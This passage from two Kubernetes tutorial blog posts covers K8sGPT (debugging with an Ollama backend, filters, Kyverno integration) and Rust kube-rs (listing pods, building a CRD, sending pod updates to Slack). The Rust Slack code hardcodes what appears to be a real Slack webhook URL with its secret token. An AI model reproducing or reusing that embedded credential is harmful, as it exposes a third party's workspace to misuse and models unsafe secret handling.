k8sgpt auth add --backend ollama --model llama3 --baseurl http://localhost:11434
```

```bash
# Output
ollama added to the AI backend provider list
```

Here, we provide the base URL address as `http://localhost:11434`, which is the default address of the Ollama server.

To verify the authorization, we can use the following command to check the status of the ollama backend:

```bash
k8sgpt auth list
```

```bash
# Output
...
Active: 
> ollama
Unused: 
> openai
> localai
> azureopenai
> cohere
...
```

> Note: To see the full list of different `k8sgpt` CLI commands, refer to the [documentation](https://docs.k8sgpt.ai/reference/cli/).

We have successfully authorized K8sGPT to use Ollama as an AI backend 🎉

# Basic Analysis

Let us explore the core functionality of K8sGPT, which is scanning and debugging issues in a Kubernetes cluster.

Here, we’ll be taking two very simple scenarios to demonstrate its capabilities:

## Broken Pod

Let us run a “potentially” malicious pod into our Kubernetes cluster. You can find the YAML manifest below:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: hungry-pod
  namespace: default
spec:
  containers:
  - name: busybox
    image: busybox
    resources:
      requests:
        cpu: "1000"
    command: ["sh", "-c", "echo Hello Kubernetes! && sleep 3600"]
```

Use the following command to apply this to our cluster:

```bash
kubectl apply -f broken-pod.yaml
```

You will notice that the pod is currently in a `Pending` state and remains that way — which means there’s something wrong here!

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/3606ae70-0335-4741-acbb-053486142754.png align="center")

If you’re familiar with the basic concepts of Kubernetes, your default approach will be to check the pod events using the following command:

```bash
kubectl describe pod hungry-pod
```

But, lets see how far can we go with using AI to know more! Run the following command to to scan the entire cluster and find issues:

```bash
k8sgpt analyse
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/661376ef-1465-4ebf-ba40-6c61fcd2bf17.png align="center")

According to this, there are no nodes with sufficient CPU resources available to schedule the incoming pod. That’s helpful — let’s take this a step further. Run the following command to get additional information about the error and get recommendations by AI on how to fix the issues:

```bash
k8sgpt analyse --explain --backend ollama
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/dfee3bd6-e61d-4b3f-a4da-213ba6f9d47f.png align="center")

Here are two things the AI provides for each error:

1. Explaining the error in simple language
    
2. Giving potential solutions to debug and fix the issue
    

We can try all these solutions to solve our pod issue, but to me, the simplest solution is the 3rd one — adjusting the pod’s CPU requests.

Let us first check the CPU capacity of our node by using the following command:

```bash
kubectl describe node minikube
```

```bash
# Output
...
Capacity:
  cpu:                11
  ephemeral-storage:  61202244Ki
  hugepages-1Gi:      0
  hugepages-2Mi:      0
  hugepages-32Mi:     0
  hugepages-64Ki:     0
  memory:             8029108Ki
  pods:               110
...
```

Edit the pod manifest and adjust the CPU requests value within the node’s limit (i.e., maximum 11 cores). Here’s the updated YAML manifest:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: hungry-pod
  namespace: default
spec:
  containers:
  - name: busybox
    image: busybox
    resources:
      requests:
        cpu: "5"
    command: ["sh", "-c", "echo Hello Kubernetes! && sleep 3600"]
```

To fix the issue, we’ll first need to delete the existing pod and then apply the new manifest to create a fresh pod:

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/787da15c-5c96-4786-aef9-a79feb33759f.png align="center")

Voilà, our pod is up and running successfully 🎉

## Broken Service

Let us have a look into another scenario and see how K8sGPT helps us here. Apply the YAML manifest below that creates a new service and a pod:

```yaml
apiVersion: v1
kind: Service
metadata:
  name: pod-svc
  namespace: default
spec:
  selector:
    app: ngnx
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
---
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
  namespace: default
  labels:
    app: nginx
spec:
  containers:
  - name: nginx
    image: nginx
    ports:
    - containerPort: 80
```

Once applied, you’ll notice that there no errors. The pod is in running state and the service has been created:

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/ad2ccda5-768c-4a0f-9bf7-4b5352adcafe.png align="center")

But sometimes looks can be deceiving! Let us use K8sGPT to scan for issues that may not be visible and provide potential solutions to fix them:

```bash
k8sgpt analyse --explain -b ollama
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/0100e745-73be-4b87-981d-1633c77845dc.png align="center")

Caught it! We have an issue with the service - there are no available pods that match the service's selector criteria (labels in this case) to route traffic to.

To fix this, either we can change the service’s labels or the pod’s label. Use the following command to quickly change the pod labels to match the service:

```bash
kubectl label pod nginx-pod app=ngnx --overwrite
```

```bash
# Output
pod/nginx-pod labeled
```

Now, if we run the `k8sgpt analyse` command again, it won’t detect any errors with our pod and service — because we’ve solved it 🎉

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/39076c0e-5b68-4747-8dc6-a063bb66acff.png align="center")

# Using filters and flags

In the previous section, you might have noticed that the `k8sgpt analyse` command gives a list of all the issues within our cluster, covering all Kubernetes resources. In a demo scenario (similar to what we have here), we may only have a few Kubernetes resources deployed in our cluster — making it relatively easier to navigate our target resources.

But let’s get real here! In a real-world production scenario, you may have 1000s of resources deployed, and it may get difficult to navigate and find them following this format, right?

Interestingly, K8sGPT does this for you using filters. Filters are a way of selecting which resources you wish to be part of the default analysis.

To check the list of available filters, use the following command:

```bash
k8sgpt filters list
```

```bash
# Output
Active: 
> MutatingWebhookConfiguration
> Node
> HorizontalPodAutoScaler
> Deployment
...
Unused: 
> Gateway
> HTTPRoute
> PodDisruptionBudget
> GatewayClass
```

> Note: These filters corresponds specific analyzers written in the K8sGPT codebase. You can explore the [codebase](https://github.com/k8sgpt-ai/k8sgpt/tree/main/pkg/analyzer) to learn more.

Here are a few ways you can use filters with the `k8sgpt analyse` command to select specific resources:

* Filter by resource (example: analyse all Pods in the cluster)
    
    ```bash
    k8sgpt analyse --explain -b ollama --filter Pod
    ```
    
    ![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/5064acf5-659e-460f-a538-43433366123e.png align="center")
    
* Filter resources by a specific namespace (example: analyse all resources in the default namespace)
    
    ```bash
    k8sgpt analyse --explain -b ollama --namespace default
    ```
    
    ![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/219e2667-cbc8-4c81-b21f-fc3d3d03175e.png align="center")
    
* Providing multiple filters (example: analyse all pods and services in the default namespace)
    
    ```bash
    k8sgpt analyse --explain -b ollama --filter Pod,Service -n default
    ```
    
    ![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/8719ae4b-ce31-4e23-828a-b79a33c0d08d.png align="center")
    

Apart from the built-in filter support (which we’ll also expand in the upcoming section), there are two additional flags worth highlighting:

1. **Output JSON Flag**
    
    The `--output json` flag generates the analysis output in JSON format. This is particularly useful when you want to integrate K8sGPT with other tools or automate tasks, as JSON is a widely accepted format for data exchange. By using this flag, you can easily parse and process the output with scripts or software applications, allowing for seamless integration into your existing workflows. Here's how you can use it:
    
    ```bash
    k8sgpt analyze --explain --filter=Service --output=json
    ```
    
2. **Anonymize Flag**
    
    If you’re concerned with providing sensitive data about your workloads to OpenAI or other AI backends, the `--anonymize` flag is useful for you. When used with the `k8sgpt analyse` command, this flag masks sensitive data such as Kubernetes object names and labels before sending it to the AI backend for analysis.
    
    During the analysis, K8sGPT retrieves sensitive data, which is then masked before being sent to the AI backend. The backend receives the masked data, processes it, and returns a solution to the user. Once the solution is returned to the user, the masked data is replaced with the actual Kubernetes object names and labels. Here’s how you can use it:
    
    ```bash
    k8sgpt analyze --explain --filter=Service --output=json --anonymize
    ```
    
    ![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/36d7c041-a98f-48af-8724-bcbb464315b0.png align="center")
    

> Note: If you wish to know more options to use with k8sgpt analyze command, you can use the following to view some more configurable options:
> 
> ```bash
> k8sgpt analyze help
> ```

# Integrations

When we talk about any tool in the cloud-native ecosystem, the main value lies in how well it integrates with other tools from the [CNCF Landscape](https://landscape.cncf.io/).

Despite being an early-stage project, K8sGPT offers useful integrations that enhance its default analysis capabilities. These integrations provide additional features for scanning, diagnosing, and triaging issues in Kubernetes clusters.

In this section, we’ll focus on the Kyverno integration, which was released in the [latest `v0.3.39`](https://github.com/k8sgpt-ai/k8sgpt/releases/tag/v0.3.39) (at the time of writing this blog).

> Note: To follow along, ensure you are on the latest version of the K8sGPT [CLI](https://docs.k8sgpt.ai/getting-started/installation/).

To get started, use the following command to list all the available integrations:

```bash
k8sgpt integrations list
```

```bash
# Output
Active:
Unused: 
> trivy
> prometheus
> aws
> keda
> kyverno
```

For the Kyverno integration to work, we need to install Kyverno in our cluster. Use the following commands to install Kyverno via helm:

```bash
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
```

After the installation, apply a simple validation policy that ensures a label called team is present on every Pod. Use the following YAML manifest to apply the policy to your Kubernetes cluster:

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
    - name: check-team
      match:
        any:
          - resources:
              kinds:
                - Pod
      validate:
        message: "label 'team' is required"
        pattern:
          metadata:
            labels:
              team: "?*"
```

After this, if you try to create a Pod without the `team` label, the operation won’t be allowed!

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/63a824ee-fe4a-4613-aedd-733d8ebf5bc6.png align="center")

Once Kyverno is installed and verified, activate it as a K8sGPT integration using the following command:

```bash
k8sgpt integrations activate kyverno 
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/144e6d76-c133-4c2c-963a-cc2c2dbc1b99.png align="center")

With the Kyverno integration, we get two new filters:

* `PolicyReport`
    
* `ClusterPolicyReport`
    

You can use the following command to get a list of updated filters:

```bash
k8sgpt filters list
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/90b069df-fb21-4358-95e2-526cacc88a13.png align="center")

We can now use one of these new filters as part of the `k8sgpt analyze` command to filter out relevant information about Kubernetes resources. Below is an example using the `PolicyReport` filter:

```bash
k8sgpt analyze -b ollama --filter PolicyReport
```

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/927b1afc-eb48-401f-a70b-65779e8d641a.png align="center")

It’s pretty similar to using the good old: `kubectl get policyreport` command — as both retrieve information about policy compliance in our Kubernetes cluster, the only difference being, now we also get solutions to fix the issues!

![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/d53861d4-9e41-443c-a373-04728e9b0b87.png align="center")

> Note: At the time of writing this article, the Kyverno integration is newly added and is at its initial stages (check out the [PR](https://github.com/k8sgpt-ai/k8sgpt/pull/1200)), so you may encounter some issues. Feel free to [open an issue](https://github.com/k8sgpt-ai/k8sgpt/issues) if you encounter any problems while working with it!

It's important to note that the example above is shown in a demo scenario, which might not showcase its full potential. However, imagine a production cluster with thousands of pods running — the accessibility and insights provided by this kind of integration would be invaluable in such a scenario!

# **In-cluster Operator**

The K8sGPT CLI is a great way to get started and perform ad-hoc scans in a cluster, but it involves manually running a command for each analysis. **What if you want continuous 24/7 scans in the cluster?** For this, you can install K8sGPT as a Kubernetes operator, which runs as a Kubernetes Custom Resource and produces reports stored in your cluster as YAML manifests.

These are all the different components that the k8sGPT operator installs and manages:

[![](/img/blog/k8sgpt-tutorial-when-kubernetes-meets-ai/6b2a541b-876d-4f9e-bb05-7fc0dafd4a2f.png align="center")](https://docs.k8sgpt.ai/reference/operator/overview/#architecture)

To learn more about installing and setting up the operator, check out the [documentation](https://docs.k8sgpt.ai/getting-started/in-cluster-operator/).

> Note: The K8sGPT Operator can be customized by modifying the [values.yaml](https://github.com/k8sgpt-ai/k8sgpt/blob/main/charts/k8sgpt/values.yaml) file. To check the available customizable options, refer to the [documentation](https://docs.k8sgpt.ai/reference/operator/overview/#customising-the-operator).

# **Advance Features to Try Out**

Let us take a look at two exciting features of K8sGPT that you should definitely try out.

### Custom Analyzers

**Want to make k8sGPT to analyze your Kubernetes cluster in ways specific to your environment?** K8sGPT allows you to create your own custom analyzers to fit your specific needs. This feature lets you extend the capabilities of K8sGPT by writing your own code to analyze your Kubernetes cluster in ways that are unique to your environment. Whether you need to check for specific configurations or monitor custom metrics, custom analyzers give you the flexibility to tailor the tool to your requirements.

To know more about how to create and use custom analyzers, refer the [custom analyzers guide](https://docs.k8sgpt.ai/tutorials/custom-analyzers/).

### Slack Integration

**Does your team operate via Slack?** K8sGPT also offers seamless integration with Slack, making it easier to get notifications and updates directly in your Slack channels. This feature ensures that your team stays informed about the health and status of your Kubernetes clusters without having to leave their communication platform. Setting up Slack integration allows you to receive real-time alerts and insights, helping your team to respond quickly to any issues.

Learn more how to set up this integration in the [slack integration guide](https://docs.k8sgpt.ai/tutorials/slack-integration/).

These features are certainly powerful additions to K8sGPT, enhancing its functionality and making it even more useful for managing your Kubernetes clusters.

# Ending Thoughts

K8sGPT is a powerful tool that brings the capabilities of AI to Kubernetes management, making it easier to diagnose and resolve issues, automate routine tasks, and gain valuable insights. With features like custom analyzers and Slack integration, you can tailor the tool to fit your specific needs and keep your team informed in real-time.

We've covered the essentials, from installation to advanced features. Now, it's your turn to explore and see how K8sGPT can simplify your Kubernetes operations. Give it a try, and don't hesitate to share your experiences or [join the community](https://k8sgpt.ai/) for further discussions.

Thank you for reading, and happy troubleshooting!

# Resources

* [Demo Source Code](https://github.com/verma-kunal/k8sGPT-tutorial)
    
* [k8sGPT Playground - Killercoda](https://killercoda.com/matthisholleville/scenario/k8sgpt-cli)
    
* [k8sGPT tutorial by Anaïs Urlichs](https://anaisurl.com/k8sgpt-full-tutorial/)
    
* [Run k8sGPT using vLLM](https://medium.com/@panpan0000/empower-kubernetes-with-k8sgpt-using-open-source-llm-1b3fa021abd6)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Kubernetes Management with Rust - A Dive into Generic Client-Go, Controller Abstractions, and CRD Macros with Kube.rs

- Canonical: https://blog.kubesimplify.com/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers
- Published: 2024-07-23
- Summary: In this blog, we dive into Generic Client-Go, Controller Abstractions, and CRD Macros with Kube.rs.

If you've read our previous blog on [performing CRUD operations on Kubernetes](https://blog.kubesimplify.com/perform-crud-operations-on-kubernetes-using-golang) using Golang, you should now be familiar with the basics of `client-go`. In this post, we will explore a more efficient way to use Rust with Kubernetes.

A Rust client for Kubernetes, found at [kube-rs/kube](https://github.com/kube-rs/kube), is designed similarly to the more general client-go. It incorporates a runtime abstraction modeled after `controller-runtime` and includes a derive macro for Custom Resource Definitions (CRDs) inspired by [Kubebuilder](https://github.com/kubernetes-sigs/kubebuilder). This project is hosted by the Cloud Native Computing Foundation (CNCF) as a Sandbox Project.

These crates extend Kubernetes' API machinery and API principles to support generic abstractions. These abstractions make it easier to develop Rust-based applications by enabling the use of reflectors, controllers, and custom resource interfaces.

# Prerequisites

Before we dive into using Rust with Kubernetes, make sure you have the following set up:

* [Rust](https://www.rust-lang.org/tools/install) installed on your machine.
    
* [`minikube`](https://minikube.sigs.k8s.io/docs/start/?arch=%2Fmacos%2Farm64%2Fstable%2Fbinary+download) or an alternative Kubernetes distribution installed.
    
* [kubectl](https://kubernetes.io/docs/tasks/tools/) installed.
    

# Part 1 - List all Pods in the Cluster

In this section, we'll learn the basics of using the kubernetes rust client, by listing down all running pods in our cluster.

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/35575223-b7b3-41df-a1c9-97b07ad2a7f8.png align="center")

## Step 1 - Initialize the project

For this, let's use Cargo to initiate the project:

```bash
cargo init kubers-demo
```

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/6783e005-6111-46ee-9b40-668c5c34f561.png align="center")

You can view the default project structure using the following command:

```bash
tree .
```

**Output:**

```bash
.
├── Cargo.toml
└── src
    └── main.rs

2 directories, 2 files
```

## Step 2 - Update cargo package manager dependencies

Update the list of dependencies in the default `kubers-demo/Cargo.toml` file:

```ini
[package]
name = "kubers-demo"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
kube = { version = "0.87.2", features = ["client","runtime", "derive", "rustls-tls"] }
k8s-openapi = { version = "0.20.0", features = ["latest"] }
tokio = { version = "1.0", features = ["full"] }  # Use the latest version
[dev-dependencies]
k8s-openapi = { version = "0.20.0", features = ["latest"] }
async-std = "1.0"  # Use the latest version
```

## Step 3 - Update `main.rs`

Update `kubers-demo/src/main.rs`, which contains our first simple program demonstrating how to interact with the Kubernetes API to list all pods within the default namespace.

```rust
use kube::{Client, Api};
use kube::api::ListParams;
use k8s_openapi::api::core::v1::Pod;
use std::error::Error;

#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
    // Load the kubeconfig file.
    let config = kube::Config::from_kubeconfig(&kube::config::KubeConfigOptions::default()).await?;
    let client = Client::try_from(config)?;

    // Work with Kubernetes API.
    let pods: Api<Pod> = Api::default_namespaced(client);
    let lp = ListParams::default();

    for p in pods.list(&lp).await? {
        println!("Found Pod: {}", p.metadata.name.unwrap_or_default());
    }

    Ok(())
}
```

**Code Explanation:**

Let's break down the above code to understand how our first simple program demonstrates interacting with the Kubernetes API to list all pods within the default namespace. Here's a step-by-step explanation:

1. **Imports**: The necessary crates and modules are imported:
    
    * `kube::{Client, Api}`: Provides the main Kubernetes client and the API wrapper.
        
    * `kube::api::ListParams`: Allows parameterizing list queries.
        
    * `k8s_openapi::api::core::v1::Pod`: Defines the Pod resource from the Kubernetes core API.
        
    * `std::error::Error`: Handles error types.
        
2. **Main Function**: The `main` function is declared with the `#[tokio::main]` attribute to enable asynchronous execution using the Tokio runtime.
    
    ```rust
    #[tokio::main]
    async fn main() -> Result<(), Box<dyn Error>> {
    ```
    

3. **Load Kubeconfig**: The Kubernetes configuration is loaded from the default kubeconfig file (typically found at `~/.kube/config`).
    
    ```rust
    let config = kube::Config::from_kubeconfig(&kube::config::KubeConfigOptions::default()).await?;
    ```
    

4. **Create Client**: A Kubernetes client is created from the loaded configuration.
    
    ```ini
    let client = Client::try_from(config)?;
    ```
    

5. **Define API for Pods**: An `Api` object for `Pod` resources is created, scoped to the default namespace using the client.
    
    ```rust
    let pods: Api<Pod> = Api::default_namespaced(client);
    ```
    

6. **List Parameters**: Default parameters for listing resources are set up using `ListParams`.
    
    ```rust
    let lp = ListParams::default();
    ```
    

7. **List Pods**:The code lists the Pods in the default namespace using the `list` method on the `pods` API object. It iterates over the list of Pods and prints their names.
    
    ```rust
    for p in pods.list(&lp).await? {
        println!("Found Pod: {}", p.metadata.name.unwrap_or_default());
    }
    ```
    

8. **Return**: The function returns `Ok(())` to signify successful execution.
    
    ```rust
    Ok(())
    }
    ```
    

Initializes a connection to a Kubernetes cluster using the local kubeconfig file, then lists all pods in the default namespace and prints their names. The use of async/await with the Tokio runtime allows for efficient, non-blocking interaction with the Kubernetes API.

## Step 4 - Deploy a sample nginx application

```bash
kubectl apply -f https://k8s.io/examples/application/deployment.yaml
```

## Step 5 - Test the program

Use the following command to list down all the current pods in our Kubernetes cluster:

```bash
cargo run -- --kubers-demo kubectl -- get po
```

You'll get the following output:

```bash

Finished `dev` profile [unoptimized + debuginfo] target(s) in 3.77s
Running `target/debug/k8s-client --kubers-demo kubectl -- get po`
Found Pod: demo-nginx
Found Pod: crud-4vj57
Found Pod: nginx-deployment-86dcfdf4c6-cnlp7
Found Pod: nginx-deployment-86dcfdf4c6-vskvc
...
```

# Part 2 - Building a Custom Resource Definition (CRD)

Kubernetes Custom Resource Definitions (CRDs) let you extend the Kubernetes API by defining your own custom objects. These objects can represent any kind of resource specific to your applications or workflows, such as database configurations, networking policies, or even complex deployment patterns. CRDs provide a way to manage these custom resources using the familiar Kubernetes tools and APIs, bringing consistency and automation to your Kubernetes environment.

In this section, we'll use the knowledge from the previous section to build a custom resource definition and then a custom resource for our Kubernetes cluster, using the rust client.

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/a45dbc31-5e70-4ac5-83f5-d64f9db593a7.png align="center")

## Step 1 - Initialize a new project

Let us initialize a new project for this part. Use the following command to do so:

```bash
cargo init kube-crd
```

## Step 2 - Create custom resource definition schema

Add the following code in `src/main.rs`:

```rust
use kube::{Api, Client};
use kube::api::PostParams;
use serde::{Serialize, Deserialize};
use k8s_openapi::apiextensions_apiserver::pkg::apis::apiextensions::v1::{
    CustomResourceDefinition,
    CustomResourceDefinitionSpec,
    CustomResourceDefinitionNames,
    CustomResourceDefinitionVersion,
    JSONSchemaProps,
    CustomResourceValidation,
    JSONSchemaPropsOrArray,
};
use k8s_openapi::apimachinery::pkg::apis::meta::v1::ObjectMeta;
use schemars::JsonSchema;
use kube::CustomResource;
use std::collections::BTreeMap;

// Define the spec of our custom resource
#[derive(CustomResource, Deserialize, Serialize, Clone, Debug, JsonSchema)]
#[kube(group = "example.com", version = "v1", kind = "KCDTrack2", namespaced)]
pub struct MeetupSpec {
    organizer: String,
    topic: String,
    attendees: Vec<String>,
    conference: String,
    time: String,
    session_type: String,
    speaker: String,
}

// Main function to create the CRD in the cluster
#[tokio::main]
async fn main() -> Result<(), kube::Error> {
    let client = Client::try_default().await?;

    let crds: Api<CustomResourceDefinition> = Api::all(client);
    let pp = PostParams::default();

    // Define the CRD for our KCDTrack2 resource
    let kcd_crd = CustomResourceDefinition {
        metadata: ObjectMeta {
            name: Some("kcdtrack2s.example.com".to_string()),
            ..Default::default()
        },
        spec: CustomResourceDefinitionSpec {
            group: "example.com".to_string(),
            versions: vec![
                CustomResourceDefinitionVersion {
                    name: "v1".to_string(),
                    served: true,
                    storage: true,
                    schema: Some(CustomResourceValidation {
                        open_api_v3_schema: Some(JSONSchemaProps {
                            type_: Some("object".to_string()),
                            properties: Some({
                                let mut props = BTreeMap::new();
                                props.insert("spec".to_string(), JSONSchemaProps {
                                    type_: Some("object".to_string()),
                                    properties: Some({
                                        let mut spec_props = BTreeMap::new();
                                        spec_props.insert("organizer".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props.insert("topic".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props.insert("attendees".to_string(), JSONSchemaProps {
                                            type_: Some("array".to_string()),
                                            items: Some(JSONSchemaPropsOrArray::Schema(Box::new(JSONSchemaProps {
                                                type_: Some("string".to_string()),
                                                ..Default::default()
                                            }))),
                                            ..Default::default()
                                        });
                                        spec_props.insert("conference".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props.insert("time".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props.insert("session_type".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props.insert("speaker".to_string(), JSONSchemaProps {
                                            type_: Some("string".to_string()),
                                            ..Default::default()
                                        });
                                        spec_props
                                    }),
                                    ..Default::default()
                                });
                                props
                            }),
                            ..Default::default()
                        }),
                    }),
                    ..Default::default()
                }
            ],
            names: CustomResourceDefinitionNames {
                plural: "kcdtrack2s".to_string(),
                singular: Some("kcdtrack2".to_string()),
                kind: "KCDTrack2".to_string(),
                short_names: Some(vec!["kcdt2".to_string()]),
                ..Default::default()
            },
            scope: "Namespaced".to_string(),
            ..Default::default()
        },
        status: None,
    };

    // Create the CRD
    crds.create(&pp, &kcd_crd).await?;

    Ok(())
}
```

## Step 3 - Update cargo package manager dependencies

Add the following code in `kube-crd/Cargo.toml` file:

```ini
[package]
name = "kube-crd"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
schemars = "0.8.15"
kube = { version = "0.87.1", features = ["runtime", "derive"] }
k8s-openapi = { version = "0.20.0", features = ["latest"] }
tokio = { version = "1.0", features = ["full"] }  # Use the latest version
serde = "1.0.155"
serde_derive = "1.0.155"
serde_json = "1.0.94"
serde_yaml = "0.9.19"
```

## Step 4 - Run the program

```bash
cargo run   
```

**Output:**

```bash
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.07s
Running `target/debug/kube-crd`
```

## Step 5 - Verify CRD creation

```bash
kubectl get crd
```

If everything goes well, you will get the following output:

```bash
NAME                     CREATED AT
kcdtrack2s.example.com   2024-06-23T04:46:25Z
```

## Step 6 - Create a new custom resource

Create a new k8s manifest file using `vi kube-crd/kcdhyd.yaml` and add the following configuration to create a custom resource, based on our CRD:

```yaml
apiVersion: example.com/v1
kind: KCDTrack2
metadata:
  name: integrating-rust
spec:
  organizer: "kcdhyd"
  topic: "Building the Bridge: Integrating Rust with Kubernetes Controller Runtime"
  attendees: []
  conference: "KCD Hyderabad"
  time: "15:55 - 16:20"
  session_type: "Session"
  speaker: "Sangam Biradar, CloudNativeFolks"
```

## Step 7 - Apply the CRD yaml

```bash
kubectl apply -f kcdhyd.yaml 
```

**Output:**

```bash
kcdtrack2.example.com/integrating-rust created
```

## Step 8 - Print a specific jsonpath of CRD

```bash
kubectl get kcdtrack2 integrating-rust -o jsonpath='{.spec.speaker}' 
```

**Output:**

```bash
Sangam Biradar, CloudNativeFolks
```

# Part 3 - Monitor Kubernetes pods and send updates to the slack channel

In this section, we'll use what we've learned from the above sections, to create a program that watches Kubernetes pod events using the kube runtime, filter for changes, and trigger Slack notifications when pod statuses change.

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/d90def30-a883-4cd4-8500-c5b82652a0f1.png align="center")

## Step 1 - Initialize a new project

Let us initialize a new project called `slack-integration`:

```bash
cargo init slack-integration
```

## Step 2 - Update cargo package manager dependencies

Update the default `slack-integration/Cargo.toml` with the following configuration:

```ini
[package]
name = "slack-integration"
version = "0.1.0"
edition = "2021"

[dependencies]
kube = { version = "0.87.2", features = ["runtime"] }
kube-runtime = "0.87.2"
k8s-openapi = { version = "0.20.0", features = ["latest"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11.23", features = ["json"] }  # Enable the json feature
schemars = "0.8"
futures-util = "0.3.30"
```

## Step 3 - Create the program

Let us first import all the necessary libraries to manage Kubernetes resources, make HTTP requests, handle JSON data, and support asynchronous programming.

Add the following libraries in `src/main.rs`:

```rust
use kube::{Client, Api};
use kube::runtime::watcher;
use k8s_openapi::api::core::v1::Pod;
use tokio;
use reqwest;
use serde_json::json;
use futures_util::TryStreamExt;
use tokio::sync::mpsc;
```

Next up, we'll create a new function called `send_slack_message`, which would be responsible for sending messages to Slack.

```rust
async fn send_slack_message(client: &reqwest::Client, webhook_url: &str, messages: Vec<String>) {
    let payload = json!({ "text": messages.join("\n") });
    if let Err(e) = client.post(webhook_url)
        .json(&payload)
        .send()
        .await {
        eprintln!("Failed to send message to Slack: {}", e);
    }
}
```

Let us now create the `main` function for our program:

```rust
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let client = Client::try_default().await?;
    let pods: Api<Pod> = Api::all(client);
    let watcher = watcher(pods, Default::default());

    let slack_webhook_url = "https://hooks.slack.com/services/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"; // Replace with your Slack webhook URL
    let reqwest_client = reqwest::Client::new();

    let (tx, mut rx) = mpsc::channel(100);

    // Task to batch and send Slack messages periodically
    let webhook_task = tokio::spawn(async move {
        let mut messages = Vec::new();
        while let Some(message) = rx.recv().await {
            messages.push(message);
            if messages.len() >= 10 {
                send_slack_message(&reqwest_client, slack_webhook_url, messages.split_off(0)).await;
            }
        }
        if !messages.is_empty() {
            send_slack_message(&reqwest_client, slack_webhook_url, messages).await;
        }
    });

    tokio::pin!(watcher);
    while let Some(event) = watcher.try_next().await? {
        if let watcher::Event::Applied(pod) = event {
            let pod_name = pod.metadata.name.unwrap_or_default();
            let message = format!("Pod update: {}", pod_name);
            tx.send(message).await?;
        }
    }

    drop(tx); // Close the channel to stop the webhook task
    webhook_task.await?;

    Ok(())
}
```

**Here's a breakdown of the core logic:**

* **Tokio Main Function**:
    
    * Uses `#[tokio::main]` to enable asynchronous execution.
        
* **Kubernetes Client and Watcher**:
    
    * Initializes a Kubernetes client with `Client::try_default().await?`.
        
    * Sets up a watcher for all Pods with `Api::all(client)` and `watcher(pods, Default::default())`.
        
* **Slack Webhook Setup**:
    
    * Defines the Slack webhook URL to send notifications.
        
    * Creates an HTTP client using `reqwest::Client::new()`.
        
* **Message Channel**:
    
    * Creates a channel for message passing with `mpsc::channel(100)`.
        
* **Batching and Sending Slack Messages**:
    
    * Spawns a task to batch and send messages asynchronously.
        
    * Collects messages and sends them in batches to Slack.
        
* **Processing Pod Events**:
    
    * Watches for pod events and extracts pod names.
        
    * Sends formatted messages to the channel when a pod event occurs.
        
* **Cleanup**:
    
    * Closes the channel to stop the message-sending task.
        
    * Waits for the task to complete before exiting the program.
        

## Step 4 - Slack integration

Create a new Slack app by heading over to [Slack Apps](https://api.slack.com/apps) and enable the "app incoming webhooks", as shown below. Additionally, copy webhook URL to add in our program.

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/fe41a15e-eb95-4146-a090-9bb80a61d6aa.png align="center")

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/058bfe11-ac9f-461a-8b7c-9f0d9c763764.png align="center")

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/413ca8e0-468e-408f-8c3f-93aafed6636d.png align="center")

